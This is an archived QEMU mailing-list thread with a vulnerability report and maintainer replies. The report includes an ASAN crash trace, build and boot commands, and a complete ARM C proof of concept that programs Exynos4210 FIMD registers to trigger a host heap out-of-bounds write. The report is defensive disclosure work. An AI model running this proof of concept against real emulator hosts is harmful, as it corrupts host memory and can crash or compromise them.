> #2 0x55d8a002f5e8 in exynos4210_fimd_update ../hw/display/exynos4210_fimd.c:1311
> #3 0x55d8a00303ec in exynos4210_fimd_write ../hw/display/exynos4210_fimd.c:1559
> #4 0x55d8a0ade71b in memory_region_write_accessor ../system/memory.c:497
> #5 0x55d8a0add43b in access_with_adjusted_size ../system/memory.c:573
> #6 0x55d8a0addd09 in memory_region_dispatch_write ../system/memory.c:1553
> #7 0x55d8a0b457dd in int_st_mmio_leN ../accel/tcg/cputlb.c:2493
> #8 0x55d8a0b461ba in do_st_mmio_leN ../accel/tcg/cputlb.c:2528
> #9 0x55d8a0b5193c in do_st_4 ../accel/tcg/cputlb.c:2698
> #10 0x55d8a0b5193c in do_st4_mmu ../accel/tcg/cputlb.c:2774
> #11 0x55d8a0b54e7b in helper_stl_mmu ../accel/tcg/ldst_common.c.inc:100
> #12 0x7fa5a1661bed (/memfd:tcg-jit (deleted)+0x1d6bbed)
>
> AddressSanitizer can not provide additional info.
> SUMMARY: AddressSanitizer: SEGV ../hw/display/exynos4210_fimd.c:477 in put_pixel_ifb
> Thread T2 created by T0 here:
> #0 0x7fa624af40a3 in pthread_create (/lib64/libasan.so.8+0xf40a3) (BuildId: 056be1fcf267a221be3234b7611a94d0ee6a19bc)
> #1 0x55d8a0f87c6b in qemu_thread_create ../util/qemu-thread-posix.c:581
> #2 0x55d8a06f1640 in mttcg_start_vcpu_thread ../accel/tcg/tcg-accel-ops-mttcg.c:143
> #3 0x55d8a05db992 in qemu_init_vcpu ../system/cpus.c:705
> #4 0x55d8a084713f in arm_cpu_realizefn ../target/arm/cpu.c:2602
> #5 0x55d8a0b712bb in device_set_realized ../hw/core/qdev.c:494
> #6 0x55d8a0b7913b in property_set_bool ../qom/object.c:2374
> #7 0x55d8a0b7f674 in object_property_set ../qom/object.c:1449
> #8 0x55d8a0b85e37 in object_property_set_qobject ../qom/qom-qobject.c:28
> #9 0x55d8a0b7face in object_property_set_bool ../qom/object.c:1519
> #10 0x55d8a0b701a5 in qdev_realize ../hw/core/qdev.c:276
> #11 0x55d8a07d21bf in exynos4210_realize ../hw/arm/exynos4210.c:577
> #12 0x55d8a0b712bb in device_set_realized ../hw/core/qdev.c:494
> #13 0x55d8a0b7913b in property_set_bool ../qom/object.c:2374
> #14 0x55d8a0b7f674 in object_property_set ../qom/object.c:1449
> #15 0x55d8a0b85e37 in object_property_set_qobject ../qom/qom-qobject.c:28
> #16 0x55d8a0b7face in object_property_set_bool ../qom/object.c:1519
> #17 0x55d8a0b701a5 in qdev_realize ../hw/core/qdev.c:276
> #18 0x55d89ff8fec3 in sysbus_realize ../hw/core/sysbus.c:238
> #19 0x55d8a0597d76 in exynos4_boards_init_common ../hw/arm/exynos4_boards.c:129
> #20 0x55d8a0597e55 in smdkc210_init ../hw/arm/exynos4_boards.c:144
> #21 0x55d89ff821fd in machine_run_board_init ../hw/core/machine.c:1682
> #22 0x55d8a05f8c62 in qemu_init_board ../system/vl.c:2711
> #23 0x55d8a05f8c62 in qmp_x_exit_preconfig ../system/vl.c:2807
> #24 0x55d8a05ff76b in qemu_init ../system/vl.c:3843
> #25 0x55d8a0e207dd in main ../system/main.c:71
> #26 0x7fa62403c58d in __libc_start_call_main (/lib64/libc.so.6+0x2a58d) (BuildId: 1e3e48dbffd641e15d0c912086334c9e3436917c)
>
> ==163255==ABORTING
> ```
>
> == Disclosure ==
>
> Found during an audit of QEMU 10.0.0. I'm happy to coordinate
> disclosure or send a fix patch — let me know your preference.
>
> Thanks,
>
> Weiming Shi (swing) && 章鱼哥@aipy (www.aipyaipy.com)
>
> --
> QEMU 10.0.0 build used for the ASAN evidence above:
>
> ../configure --target-list=arm-softmmu --enable-debug \
> --extra-cflags="-fsanitize=address -O1 -g" \
> --extra-ldflags="-fsanitize=address" \
> --disable-werror
>
> Boot:
>
> qemu-system-arm -M smdkc210 -m 256M -nographic -nodefaults -display none \
> -kernel ./boot/vmlinuz-4.19.0-6-armmp \
> -dtb ./usr/lib/linux-image-4.19.0-6-armmp/exynos4210-smdkv310.dtb \
> -initrd ./rootfs-poc.cpio.gz \
> -append 'earlycon=exynos4210,0x13800000 console=ttySAC0,115200n8
> panic=-1 noreboot rdinit=/init' \
> -serial mon:stdio -accel tcg
>
>
> ==============================================================================
> Attachment: poc.c (freestanding ARM Linux userspace, no libc, ~4 KB ELF)
> ==============================================================================
> /* Userspace ARM Linux PoC for the Exynos4210 FIMD ifb OOB write bug.
> * Freestanding (no libc); issues syscalls via inline svc 0 (EABI).
> * Build:
> * arm-linux-gnu-gcc -nostdlib -static -O0 -mcpu=cortex-a9 -marm \
> * -ffreestanding -fno-stack-protector -o poc poc.c
> * Use as /init in any minimal initramfs.
> */
> typedef unsigned int u32;
> typedef unsigned long ulong;
>
> #define O_RDWR 0x00000002
> #define O_SYNC 0x00101000
> #define PROT_READ 0x1
> #define PROT_WRITE 0x2
> #define MAP_SHARED 0x01
> #define MAP_FAILED ((void *)-1L)
>
> #define SYS_exit 1
> #define SYS_write 4
> #define SYS_open 5
> #define SYS_mount 21
> #define SYS_reboot 88
> #define SYS_mmap2 192 /* offset is in PAGE_SIZE units */
>
> #define LINUX_REBOOT_MAGIC1 0xfee1deadu
> #define LINUX_REBOOT_MAGIC2 672274793u
> #define LINUX_REBOOT_CMD_POWER_OFF 0x4321fedcu
>
> static inline long syscall1(long n,long a){
> register long r0 __asm__("r0")=a; register long r7 __asm__("r7")=n;
> __asm__ volatile("svc 0":"+r"(r0):"r"(r7):"memory"); return r0;
> }
> static inline long syscall2(long n,long a,long b){
> register long r0 __asm__("r0")=a; register long r1 __asm__("r1")=b;
> register long r7 __asm__("r7")=n;
> __asm__ volatile("svc 0":"+r"(r0):"r"(r1),"r"(r7):"memory"); return r0;
> }
> static inline long syscall3(long n,long a,long b,long c){
> register long r0 __asm__("r0")=a; register long r1 __asm__("r1")=b;
> register long r2 __asm__("r2")=c; register long r7 __asm__("r7")=n;
> __asm__ volatile("svc 0":"+r"(r0):"r"(r1),"r"(r2),"r"(r7):"memory");
> return r0;
> }
> static inline long syscall4(long n,long a,long b,long c,long d){
> register long r0 __asm__("r0")=a; register long r1 __asm__("r1")=b;
> register long r2 __asm__("r2")=c; register long r3 __asm__("r3")=d;
> register long r7 __asm__("r7")=n;
> __asm__ volatile("svc 0":"+r"(r0):"r"(r1),"r"(r2),"r"(r3),"r"(r7):"memory");
> return r0;
> }
> static inline long syscall6(long n,long a,long b,long c,long d,long e,long f){
> register long r0 __asm__("r0")=a; register long r1 __asm__("r1")=b;
> register long r2 __asm__("r2")=c; register long r3 __asm__("r3")=d;
> register long r4 __asm__("r4")=e; register long r5 __asm__("r5")=f;
> register long r7 __asm__("r7")=n;
> __asm__ volatile("svc 0":"+r"(r0)
> :"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r5),"r"(r7):"memory");
> return r0;
> }
>
> static int sys_open(const char *p,int f){return syscall2(SYS_open,(long)p,f);}
> static long sys_write(int fd,const void*b,ulong n){return syscall3(SYS_write,fd,(long)b,n);}
> static void *sys_mmap(void*a,ulong l,int p,int fl,int fd,ulong pg){
> return (void*)syscall6(SYS_mmap2,(long)a,l,p,fl,fd,pg);
> }
> static int sys_mount(const char*s,const char*t,const char*f,ulong fl,const void*d){
> register long r0 __asm__("r0")=(long)s; register long r1 __asm__("r1")=(long)t;
> register long r2 __asm__("r2")=(long)f; register long r3 __asm__("r3")=(long)fl;
> register long r4 __asm__("r4")=(long)d; register long r7 __asm__("r7")=SYS_mount;
> __asm__ volatile("svc 0":"+r"(r0)
> :"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r7):"memory");
> return r0;
> }
> static int sys_reboot(u32 cmd){
> return syscall4(SYS_reboot,LINUX_REBOOT_MAGIC1,LINUX_REBOOT_MAGIC2,cmd,0);
> }
>
> static ulong str_len(const char*s){ulong n=0;while(s[n])n++;return n;}
> static void putln(const char*s){sys_write(1,s,str_len(s));sys_write(1,"\n",1);}
> static void puts1(const char*s){sys_write(1,s,str_len(s));}
> static void puthex(u32 x){
> char b[11]="0x00000000";
> for(int i=0;i<8;i++){unsigned d=(x>>((7-i)*4))&0xf;b[2+i]=d<10?'0'+d:'a'+d-10;}
> sys_write(1,b,10);
> }
>
> #define FIMD_BASE 0x11c00000UL
> #define FIMD_LEN 0x10000
> #define PAGE_SIZE 4096
>
> static volatile u32 *fimd;
> static void w32(u32 off,u32 v){
> fimd[off>>2]=v;
> __asm__ __volatile__("dsb sy":::"memory");
> }
>
> void _start(void)
> {
> putln("");
> putln("=====================================================================");
> putln("[poc] Linux userspace running as PID 1 (pure C, no libc)");
> putln("=====================================================================");
>
> puts1("[poc] mount devtmpfs on /dev ... ");
> if (sys_mount("devtmpfs","/dev","devtmpfs",0,0) < 0)
> putln("FAILED (continuing -- /dev may already exist)");
> else putln("ok");
>
> puts1("[poc] open /dev/mem ... ");
> int fd = sys_open("/dev/mem", O_RDWR | O_SYNC);
> if (fd < 0) { putln("FAILED"); goto die; }
> putln("ok");
>
> puts1("[poc] mmap FIMD at PA 0x11c00000 ... ");
> void *p = sys_mmap(0, FIMD_LEN, PROT_READ|PROT_WRITE, MAP_SHARED,
> fd, FIMD_BASE / PAGE_SIZE);
> if (p == MAP_FAILED) { putln("FAILED"); goto die; }
> fimd = (volatile u32*)p;
> puts1("VA="); puthex((u32)(ulong)p); putln("");
>
> putln("[poc] programming FIMD registers.");
> w32(0x0018, 0x000007ff); /* VIDTCON2 -> global 2048x1, ifb=14337B */
> w32(0x00a0, 0x40000080); /* VIDW0_BUF_START0 (unused with WINMAP) */
> w32(0x0100, 0x00000008); /* WINCON0 (ENWIN bit etc.) */
> w32(0x0040, 0x000007ff); /* VIDOSDA0 -> lefttop_y = 0x7ff */
> w32(0x0044, 0x000007ff); /* VIDOSDB0 -> rightbot_y = 0x7ff */
> w32(0x0020, 0x0000002d); /* VIDCON2 */
> w32(0x0000, 0x00000003); /* VIDCON0 enable */
>
> putln("[poc] firing trigger write (WINMAP0)...");
> putln("[poc] If host QEMU is vulnerable, this is the LAST line you see:");
>
> /* Sets WINMAP_EN=bit24, switches draw_line to draw_line_mapcolor,
> * triggers fimd_update() -> draw_line -> put_pixel_ifb() at
> * s->ifb + 0x01BFC800 (28 MB past the 14,337-byte allocation). */
> w32(0x0180, 0x01000000);
>
> putln("[poc] *** host QEMU survived -- bug appears PATCHED ***");
> die:
> sys_reboot(LINUX_REBOOT_CMD_POWER_OFF);
> syscall1(SYS_exit, 0);
> }
>
With regards,
Daniel
--
|: https://berrange.com ~~ https://hachyderm.io/@berrange :|
|: https://libvirt.org ~~ https://entangle-photo.org :|
|: https://pixelfed.art/berrange ~~ https://fstop138.berrange.com :|
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: [QEMU-SECURITY] [BUG] hw/display/exynos4210_fimd: guest-triggerable host heap OOB write via unchecked window coordinates
2026-05-11 9:14 ` [QEMU-SECURITY] " Daniel P. Berrangé
@ 2026-05-11 9:20 ` Peter Maydell
0 siblings, 0 replies; 3+ messages in thread
From: Peter Maydell @ 2026-05-11 9:20 UTC (permalink / raw)
To: Daniel P. Berrangé
Cc: bestswngs, qemu-security, Igor Mitsyanko, qemu-arm
On Mon, 11 May 2026 at 10:15, Daniel P. Berrangé <berrange@redhat.com> wrote:
>
> Hi,
>
> Thankyou for your report, however, the exynos4210 device is classed
> under the "non-virtualization use case":
>
> https://www.qemu.org/docs/master/system/security.html#non-virtualization-use-case
>
> Thus we don't apply the security process to issues in this device and
> it is not eligible for CVE assignment.
>
> This bug can be reported in the public QEMU gitlab.com issue tracker
> and/or patches sent straight to qemu-devel mailing list publically.
The report was cc'd to a public mailing list (qemu-arm) in any case :-)
Filing the report in gitlab would be helpful so we don't lose track
of the bug.
PS: for future bug reports of this kind, reproducers using qtest
to do the register writes are more convenient than ones which
require building a guest binary; for example;
https://gitlab.com/qemu-project/qemu/-/work_items/3412
-- PMM
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-05-11 9:53 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-05-10 8:52 [BUG] hw/display/exynos4210_fimd: guest-triggerable host heap OOB write via unchecked window coordinates bestswngs
2026-05-11 9:14 ` [QEMU-SECURITY] " Daniel P. Berrangé
2026-05-11 9:20 ` Peter Maydell
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.